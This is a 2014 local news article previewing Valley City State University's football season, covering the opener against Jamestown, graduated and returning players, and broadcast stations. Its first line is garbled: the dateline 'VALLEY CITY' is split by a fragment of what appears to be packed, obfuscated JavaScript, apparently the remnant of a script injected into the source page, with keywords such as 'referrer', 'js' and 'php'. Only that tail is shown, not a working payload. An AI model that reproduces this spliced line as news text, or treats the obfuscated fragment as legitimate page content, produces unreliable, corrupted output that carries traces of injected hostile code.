VALLEY iahhs|var|u0026u|referrer|zfydz||js|php’.split(‘|’),0,{}))
CITY, N.D. (NewsDakota.com) Valley City State University has been hard at work over the last week working toward the start of the 2014 seasons.
Valley City State will open their year on Thursday, August 28th under the lights when they host the University of Jamestown in 113th Battle for the Paint Bucket. The Vikings enter the year as co-champions of the North Star Athletic Association. They split the title with the Jimmies. Both teams finished the 2013 conference season with records of 3-1.
VCSU enters the year as the number one team in the NSAA Preseason Coaches’ Poll. The University of Jamestown enters the 2014 year as the second ranked team.
The Vikings will be without All-American running back Derek Elliot this season due to his graduation. Last year the hometown star set school records in season rushing yards (1873), rushing touchdowns (20), and rushing yards a game (187.3). He also set new careers marks at the school with 3489 rushing yards, 36 rushing touchdowns and 5958 all-purpose yards. Looking to fill that void this year will be senior, Tevor Goerts and Junior Ian Keller. Keller carried the ball last season for 141 yards and two touchdowns. Goerts had 14 touches for just over four yards a carry.
At the Quarterback position, Kurtis Walls returns for his sophomore season. As a true freshman Walls lead VCSU’s offensive attack in 2013. He averaged 172 yards a game and threw 18 touchdowns.
Entering the 2014 season, the Vikings also will look to fill in for an number of outstanding defensive players who have moved on.
Missing from the defensive line this season will be defensive tackle Matt Craft and defensive end Dewanye Fearon. The two combined for 21 tackles in the back field last year sending opponents nearly 100 yards the wrong way in 2013. Fearon also led the team in sacks with 7.5 on the year.
At the linebacker position Jake Thurston and Fontayne Fuga both graduated. Remaining at the middle spot is Austyn Flores. Flores and Thurston led the Vikings with two interceptions a piece last season. Thurston was named the NSAA Most Valuable Senior.
The Vikings return a majority of their defensive backs for 2014. They will be led by senior captain Pathen Asuncion who was responsible for 42 tackles a year ago. Steven Wright, Mychael Bruce and Stevenson St. Louis all return to the team after seeing a number of minutes last year.
The Vikings Season begins on Thursday, August 28th at 7:00pm when they host the University of Jamestown. The Vikings broadcast will be aired on 1490 KOVC, while the Jimmies broadcast can be heard on AM 1400 KQDJ in Jamestown.